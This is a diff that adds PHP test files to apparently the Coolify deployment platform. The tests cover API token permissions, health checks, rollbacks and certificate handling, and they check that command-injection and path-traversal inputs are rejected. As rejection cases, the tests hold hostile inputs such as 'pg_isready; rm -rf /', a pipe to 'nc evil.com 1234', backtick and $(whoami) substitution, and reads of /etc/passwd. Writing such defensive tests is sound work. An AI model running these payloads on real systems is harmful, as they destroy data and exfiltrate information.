"category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php new file mode 100644 index 000000000..f1782de2a --- /dev/null +++ b/tests/Feature/ApiTokenPermissionTest.php @@ -0,0 +1,100 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); +}); + +describe('POST /api/v1/projects', function () { + test('read-only token cannot create a project', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'Test Project', + ]); + + $response->assertStatus(403); + }); + + test('write token can create a project', function () { + $token = $this->user->createToken('write-token', ['write']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'Test Project', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid']); + }); + + test('root token can create a project', function () { + $token = $this->user->createToken('root-token', ['root']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'Test Project', + ]); + + $response->assertStatus(201); + $response->assertJsonStructure(['uuid']); + }); +}); + +describe('POST /api/v1/servers', function () { + test('read-only token cannot create a server', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/servers', [ + 'name' => 'Test Server', + 'ip' => '1.2.3.4', + 'private_key_uuid' => 'fake-uuid', + ]); + + $response->assertStatus(403); + }); +}); + +describe('GET /api/v1/servers/{uuid}/validate', function () { + test('read-only token cannot trigger server validation', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/servers/fake-uuid/validate'); + + $response->assertStatus(403); + }); +}); + +describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () { + test('read-only token cannot validate cloud provider token', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/cloud-tokens/fake-uuid/validate'); + + $response->assertStatus(403); + }); +}); diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php new file mode 100644 index 000000000..8ccb7c639 --- /dev/null +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -0,0 +1,120 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = StandaloneDocker::firstOrCreate( + ['server_id' => $this->server->id, 'network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + + // Project boot event auto-creates a 'production' environment + $this->environment = $this->project->environments()->first(); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); +}); + +function healthCheckAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} health check fields', function () { + test('can update health_check_type to cmd with a command', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + $response->assertOk(); + + $this->application->refresh(); + expect($this->application->health_check_type)->toBe('cmd'); + expect($this->application->health_check_command)->toBe('pg_isready -U postgres'); + }); + + test('can update health_check_type back to http', function () { + $this->application->update([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'redis-cli ping', + ]); + + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'http', + 'health_check_command' => null, + ]); + + $response->assertOk(); + + $this->application->refresh(); + expect($this->application->health_check_type)->toBe('http'); + expect($this->application->health_check_command)->toBeNull(); + }); + + test('rejects invalid health_check_type', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'exec', + ]); + + $response->assertStatus(422); + }); + + test('rejects health_check_command with shell operators', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready; rm -rf /', + ]); + + $response->assertStatus(422); + }); + + test('rejects health_check_command over 1000 characters', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php new file mode 100644 index 000000000..61b3505ae --- /dev/null +++ b/tests/Feature/ApplicationRollbackTest.php @@ -0,0 +1,146 @@ +application = new Application; + $this->application->forceFill([ + 'uuid' => 'test-app-uuid', + 'git_commit_sha' => 'HEAD', + ]); + + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = false; + $settings->is_git_lfs_enabled = false; + $this->application->setRelation('settings', $settings); + }); + + test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () { + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $rollbackCommit + ); + + expect($result)->toContain($rollbackCommit); + }); + + test('setGitImportSettings with shallow clone fetches specific commit', function () { + $this->application->settings->is_git_shallow_clone_enabled = true; + + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $rollbackCommit + ); + + expect($result) + ->toContain('git fetch --depth=1 origin') + ->toContain($rollbackCommit); + }); + + test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () { + $this->application->git_commit_sha = 'def789abc012def789abc012def789abc012def7'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result)->toContain('def789abc012def789abc012def789abc012def7'); + }); + + test('setGitImportSettings escapes shell metacharacters in commit parameter', function () { + $maliciousCommit = 'abc123; rm -rf /'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $maliciousCommit + ); + + // escapeshellarg wraps the value in single quotes, neutralizing metacharacters + expect($result) + ->toContain("checkout 'abc123; rm -rf /'") + ->not->toContain('checkout abc123; rm -rf /'); + }); + + test('setGitImportSettings does not append checkout when commit is HEAD', function () { + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result)->not->toContain('advice.detachedHead=false checkout'); + }); + + test('setGitImportSettings uses provided git_ssh_command for fetch', function () { + $this->application->settings->is_git_shallow_clone_enabled = true; + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22222 -o Port=22222 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + commit: $rollbackCommit, + git_ssh_command: $sshCommand, + ); + + expect($result) + ->toContain('-i /root/.ssh/id_rsa" git fetch --depth=1 origin') + ->toContain($rollbackCommit); + }); + + test('setGitImportSettings uses provided git_ssh_command for submodule update', function () { + $this->application->settings->is_git_submodules_enabled = true; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + git_ssh_command: $sshCommand, + ); + + expect($result) + ->toContain('-i /root/.ssh/id_rsa" git submodule update --init --recursive'); + }); + + test('setGitImportSettings uses provided git_ssh_command for lfs pull', function () { + $this->application->settings->is_git_lfs_enabled = true; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + git_ssh_command: $sshCommand, + ); + + expect($result)->toContain('-i /root/.ssh/id_rsa" git lfs pull'); + }); + + test('setGitImportSettings uses default ssh command when git_ssh_command not provided', function () { + $this->application->settings->is_git_lfs_enabled = true; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git lfs pull') + ->not->toContain('-i /root/.ssh/id_rsa'); + }); +}); diff --git a/tests/Feature/ApplicationSourceLocalhostKeyTest.php b/tests/Feature/ApplicationSourceLocalhostKeyTest.php new file mode 100644 index 000000000..9b9b7b184 --- /dev/null +++ b/tests/Feature/ApplicationSourceLocalhostKeyTest.php @@ -0,0 +1,59 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('Application Source with localhost key (id=0)', function () { + test('renders deploy key section when private_key_id is 0', function () { + $privateKey = PrivateKey::create([ + 'id' => 0, + 'name' => 'localhost', + 'private_key' => 'test-key-content', + 'team_id' => $this->team->id, + ]); + + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'private_key_id' => 0, + ]); + + Livewire::test(Source::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('privateKeyId', 0) + ->assertSee('Deploy Key'); + }); + + test('shows no source connected section when private_key_id is null', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'private_key_id' => null, + ]); + + Livewire::test(Source::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('privateKeyId', null) + ->assertDontSee('Deploy Key') + ->assertSee('No source connected'); + }); +}); diff --git a/tests/Feature/CaCertificateCommandInjectionTest.php b/tests/Feature/CaCertificateCommandInjectionTest.php new file mode 100644 index 000000000..fffa28d6a --- /dev/null +++ b/tests/Feature/CaCertificateCommandInjectionTest.php @@ -0,0 +1,93 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +function generateSelfSignedCert(): string +{ + $key = openssl_pkey_new(['private_key_bits' => 2048]); + $csr = openssl_csr_new(['CN' => 'Test CA'], $key); + $cert = openssl_csr_sign($csr, null, $key, 365); + openssl_x509_export($cert, $certPem); + + return $certPem; +} + +test('saveCaCertificate sanitizes injected commands after certificate marker', function () { + $validCert = generateSelfSignedCert(); + + $caCert = SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => $validCert, + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + // Inject shell command after valid certificate + $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '"; + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', $maliciousContent) + ->call('saveCaCertificate') + ->assertDispatched('success'); + + // After save, the certificate should be the clean re-exported PEM, not the malicious input + $caCert->refresh(); + expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned'); + expect($caCert->ssl_certificate)->not->toContain('; id'); + expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----'); + expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n"); +}); + +test('saveCaCertificate rejects completely invalid certificate', function () { + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'placeholder', + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', "not-a-cert'; rm -rf /; echo '") + ->call('saveCaCertificate') + ->assertDispatched('error'); +}); + +test('saveCaCertificate rejects empty certificate content', function () { + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'placeholder', + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', '') + ->call('saveCaCertificate') + ->assertDispatched('error'); +}); diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php new file mode 100644 index 000000000..edfd0511c --- /dev/null +++ b/tests/Feature/CleanupUnreachableServersTest.php @@ -0,0 +1,73 @@ += 3 after 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 50, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe('1.2.3.4'); +}); + +it('does not clean up servers with unreachable_count less than 3', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 2, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers updated within 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(3), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers without notification sent', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => false, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php new file mode 100644 index 000000000..038f3000e --- /dev/null +++ b/tests/Feature/CmdHealthCheckValidationTest.php @@ -0,0 +1,90 @@ + str_repeat('a', 1001)], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts null healthCheckCommand', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => null], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts simple commands', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +})->with([ + 'pg_isready -U postgres', + 'redis-cli ping', + 'curl -f http://localhost:8080/health', + 'wget -q -O- http://localhost/health', + 'mysqladmin ping -h 127.0.0.1', +]); + +it('rejects commands with shell operators', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +})->with([ + 'pg_isready; rm -rf /', + 'redis-cli ping | nc evil.com 1234', + 'curl http://localhost && curl http://evil.com', + 'echo $(whoami)', + 'cat /etc/passwd > /tmp/out', + 'curl `whoami`.evil.com', + 'cmd & background', + 'echo "hello"', + "echo 'hello'", + 'test < /etc/passwd', + 'bash -c {echo,pwned}', + 'curl http://evil.com#comment', + 'echo $HOME', + "cmd\twith\ttabs", + "cmd\nwith\nnewlines", +]); + +it('rejects invalid healthCheckType', function () { + $validator = Validator::make( + ['healthCheckType' => 'exec'], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts valid healthCheckType values', function ($type) { + $validator = Validator::make( + ['healthCheckType' => $type], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeFalse(); +})->with(['http', 'cmd']); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php new file mode 100644 index 000000000..b2df8d1f1 --- /dev/null +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -0,0 +1,309 @@ +getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects backtick injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects dollar sign variable expansion', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects pipe injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects ampersand injection', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); + + test('rejects path traversal', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location')) + ->toThrow(RuntimeException::class, 'path traversal detected'); + }); + + test('allows valid simple path', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location')) + ->toBe('/Dockerfile'); + }); + + test('allows valid nested path with dots and hyphens', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location')) + ->toBe('/docker/Dockerfile.prod'); + }); + + test('allows path with @ symbol for scoped packages', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/packages/@intlayer/mcp/Dockerfile', 'dockerfile_location')) + ->toBe('/packages/@intlayer/mcp/Dockerfile'); + }); + + test('allows path with tilde and plus characters', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/build~v1/c++/Dockerfile', 'dockerfile_location')) + ->toBe('/build~v1/c++/Dockerfile'); + }); + + test('allows valid compose file path', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location')) + ->toBe('/docker-compose.prod.yml'); + }); +}); + +describe('API validation rules for path fields', function () { + test('dockerfile_location validation rejects shell metacharacters', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/Dockerfile; echo pwned; #'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('dockerfile_location validation allows valid paths', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/docker/Dockerfile.prod'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); + + test('docker_compose_location validation rejects shell metacharacters', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => '/docker-compose.yml; env; #'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('docker_compose_location validation allows valid paths', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => '/docker/docker-compose.prod.yml'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); + + test('dockerfile_location validation allows paths with @ for scoped packages', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/packages/@intlayer/mcp/Dockerfile'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); +}); + +describe('sharedDataApplications rules survive array_merge in controller', function () { + test('docker_compose_location safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + // Simulate what ApplicationsController does: array_merge(shared, local) + // After our fix, local no longer contains docker_compose_location, + // so the shared regex rule must survive + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + // The merged rules for docker_compose_location should be the safe regex, not just 'string' + expect($merged['docker_compose_location'])->toBeArray(); + expect($merged['docker_compose_location'])->toContain('regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN); + }); +}); + +describe('path fields require leading slash', function () { + test('dockerfile_location without leading slash is rejected by API rules', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => 'Dockerfile'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('docker_compose_location without leading slash is rejected by API rules', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_location' => 'docker-compose.yaml'], + ['docker_compose_location' => $rules['docker_compose_location']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('deployment job rejects path without leading slash', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + }); +}); + +describe('API route middleware for deploy actions', function () { + test('application start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy'); + + expect($route)->not->toBeNull(); + $middleware = $route->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + expect($middleware)->not->toContain('api.ability:write'); + }); + + test('application restart route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('application stop route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('database start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); + + test('service start route requires deploy ability', function () { + $routes = app('router')->getRoutes(); + $matchedRoute = null; + foreach ($routes as $route) { + if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) { + $matchedRoute = $route; + break; + } + } + + expect($matchedRoute)->not->toBeNull(); + $middleware = $matchedRoute->gatherMiddleware(); + expect($middleware)->toContain('api.ability:deploy'); + }); +}); diff --git a/tests/Feature/ComposePreviewFqdnTest.php b/tests/Feature/ComposePreviewFqdnTest.php new file mode 100644 index 000000000..c62f905d6 --- /dev/null +++ b/tests/Feature/ComposePreviewFqdnTest.php @@ -0,0 +1,77 @@ +create([ + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => json_encode([ + 'web' => ['domain' => 'https://example.com'], + ]), + ]); + + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 42, + 'docker_compose_domains' => $application->docker_compose_domains, + ]); + + $preview->generate_preview_fqdn_compose(); + + $preview->refresh(); + + expect($preview->fqdn)->not->toBeNull(); + expect($preview->fqdn)->toContain('42'); + expect($preview->fqdn)->toContain('example.com'); +}); + +it('populates fqdn with multiple domains from multiple services', function () { + $application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => json_encode([ + 'web' => ['domain' => 'https://web.example.com'], + 'api' => ['domain' => 'https://api.example.com'], + ]), + ]); + + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 7, + 'docker_compose_domains' => $application->docker_compose_domains, + ]); + + $preview->generate_preview_fqdn_compose(); + + $preview->refresh(); + + expect($preview->fqdn)->not->toBeNull(); + $domains = explode(',', $preview->fqdn); + expect($domains)->toHaveCount(2); + expect($preview->fqdn)->toContain('web.example.com'); + expect($preview->fqdn)->toContain('api.example.com'); +}); + +it('sets fqdn to null when no domains are configured', function () { + $application = Application::factory()->create([ + 'build_pack' => 'dockercompose', + 'docker_compose_domains' => json_encode([ + 'web' => ['domain' => ''], + ]), + ]); + + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 99, + 'docker_compose_domains' => $application->docker_compose_domains, + ]); + + $preview->generate_preview_fqdn_compose(); + + $preview->refresh(); + + expect($preview->fqdn)->toBeNull(); +}); diff --git a/tests/Feature/CrossTeamIdorLogsTest.php b/tests/Feature/CrossTeamIdorLogsTest.php new file mode 100644 index 000000000..4d12e9340 --- /dev/null +++ b/tests/Feature/CrossTeamIdorLogsTest.php @@ -0,0 +1,97 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Victim: Team B + $this->teamB = Team::factory()->create(); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + $this->victimApplication = Application::factory()->create([ + 'environment_id' => $this->environmentB->id, + 'destination_id' => $this->destinationB->id, + 'destination_type' => $this->destinationB->getMorphClass(), + ]); + + $this->victimService = 